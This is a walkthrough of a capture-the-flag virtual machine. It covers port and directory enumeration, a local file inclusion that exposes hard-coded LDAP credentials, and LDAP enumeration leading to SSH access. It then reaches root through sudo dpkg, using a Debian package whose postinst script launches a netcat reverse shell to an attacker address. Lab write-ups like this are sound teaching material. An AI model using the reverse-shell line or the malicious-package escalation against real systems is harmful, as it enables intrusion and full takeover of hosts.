After the classic VM bootstrap this time the machine itself expose it’s IP address so I don’t need to scan the internal subnet to discover it:

As usual I start with nmap to investigate what ports and services are up and running on the target:

nmap -sV 192.168.56.117

Result in:

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)

| ssh-hostkey:

| 2048 16:70:13:77:22:f9:68:78:40:0d:21:76:c1:50:54:23 (RSA)

| 256 a8:06:23:d0:93:18:7d:7a:6b:05:77:8d:8b:c9:ec:02 (ECDSA)

|_ 256 52:c0:83:18:f4:c7:38:65:5a:ce:97:66:f3:75:68:4c (ED25519)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

|_http-server-header: Apache/2.4.29 (Ubuntu)

|_http-title: Site doesn't have a title (text/html).

389/tcp open ldap OpenLDAP 2.2.X - 2.3.X

636/tcp open ldapssl?

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

From the output we can see that the machine is exposing a web server and Lightweight directory access protocol, which I’m not really familiar with, so I decide to start my enumeration from the hosted page. The website greets me with a full page image of Zeus without anything else of interest. From the source code of the page I can see that the image is pulled from the static folder which has open indexing and lets me explore all it’s content:

From here I can see that the website is hosting boostrap.css which doesn’t mean much per se but since the home page is not using any style I assume that it is used somewhere else that I have not discovered so more enumeration is needed. I decide to download the images to investigate if there is some steganography going on with wget and start looking for the missing pages with gobuster :

gobuster dir --url 192.168.56.117 -w /usr/share/wordlists/dirb/common.txt

This does not reveal much apart from highlighting again that the static folder exist, so I tweak the scan using the same wordlist but adding the .html and .php extensions:

gobuster dir --url 192.168.56.117 -w /usr/share/wordlists/wordlists/dirb/common.txt -x html,php

The results that we get are really interesting:

Apart from the static folder, that I’ve visited already, we get two highlights in the results, one is admin.php and the other one is the home.php . I rush to the admin page and I get greeted by a login form. Since my little steganography investigation with exiftool didn’t reveal anything useful my first approach is to try an SQL injection, but without any luck. At this point I can only investigate the second interesting page home.php . Navigating to it only leads to a redirect back to the admin page so I need to use Burp for investigate the request properly. This intercepts the request with the proxy and uses the repeater to then investigate the response:

Yay! The output is really good news! In this snippet of the response:

We can see a perfect candidate for LFI (Local file inclusion ) and I use this vector to obtain the source code of admin.php to see if it’s going to leak any credentials

And shazam, success! The page leak the LDAP credentials as part of the authentication function

function authLdap($username, $password) {

$ldap_ch = ldap_connect("ldap://172.18.0.22"); ldap_set_option($ldap_ch, LDAP_OPT_PROTOCOL_VERSION, 3); if (!$ldap_ch) {

return FALSE;

} $bind = ldap_bind($ldap_ch, "cn=admin,dc=symfonos,dc=local", "qMDdyZh3cT6eeAWD");

At this point I was a bit stuck since I’ve never had a chance to do anything using LDAP, but after a bit of googling to understand what it is and what is the best way to enumerate it I came across an nmap utility that helped me leak more information:

nmap -p 389 --script ldap-search --script-args 'ldap.username="cn=admin,dc=symfonos,dc=local",ldap.password=qMDdyZh3cT6eeAWD' 192.168.56.117

Which return a user named Zeus:

At this point since the machine has ssh enabled it is worth checking if the credentials above are correct and luckily it is, so now that we have a foothold into the system it is time to find a way to escalate the privileges.

First thing that I notice once I ssh in is that there are some .deb files laying around and running sudo -l reveals that the user can run /bin/dkpg as root without password.

I try to google the names to see if they belongs to some interesting package, but they seems to be custom, so I unpack them for an inspection. To unpack them I use:

dkpg -x ame_1.0_amd64.deb extract

Navigating the files makes the fact that the user can install package as su rather interesting because this package contains a reverse shell:

cat extract/pack/x.sh

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.65.128 5555 >/tmp/f

My first naive attempt was to setup the attacking machine to listen for connections with:

nc -lvp 5555

Once the server spin up I modify the reverse shell to actually point at my machine and add the requested metadata. I then installed it via dkpg which failed miserably because after installation there was no instruction to run the script. This time my Javascript background came in hand to find a vector to exploit the ability of installing packages as privileged user. Since one of the biggest weakness of npm (a javascript package manager ) is the ability of running an arbitrary script after installing a package, maybe the Debian package manager offers the same attack surface.

Researching the documentation reveals that it is possible to specify a script file inside the /DEBIAN folder of the package with the name postinst that will run once the package has been installed, nice!

I packed again the modified reverse shell to point at my machine but this time with my postinst script in the \DEBIAN folder

#!/bin/sh

sudo chmod +x /pack/x.sh

/pack/x.sh

Which will give su permission to my reverse shell and run it. Now I can just spin again netcat on my machine listening for connection and launch the installation:

sudo dpkg -i pk2copy.deb

and Tada!

I really enjoyed this machine, thanks to zayotic for creating it. In case someone wants to try it, here is the link.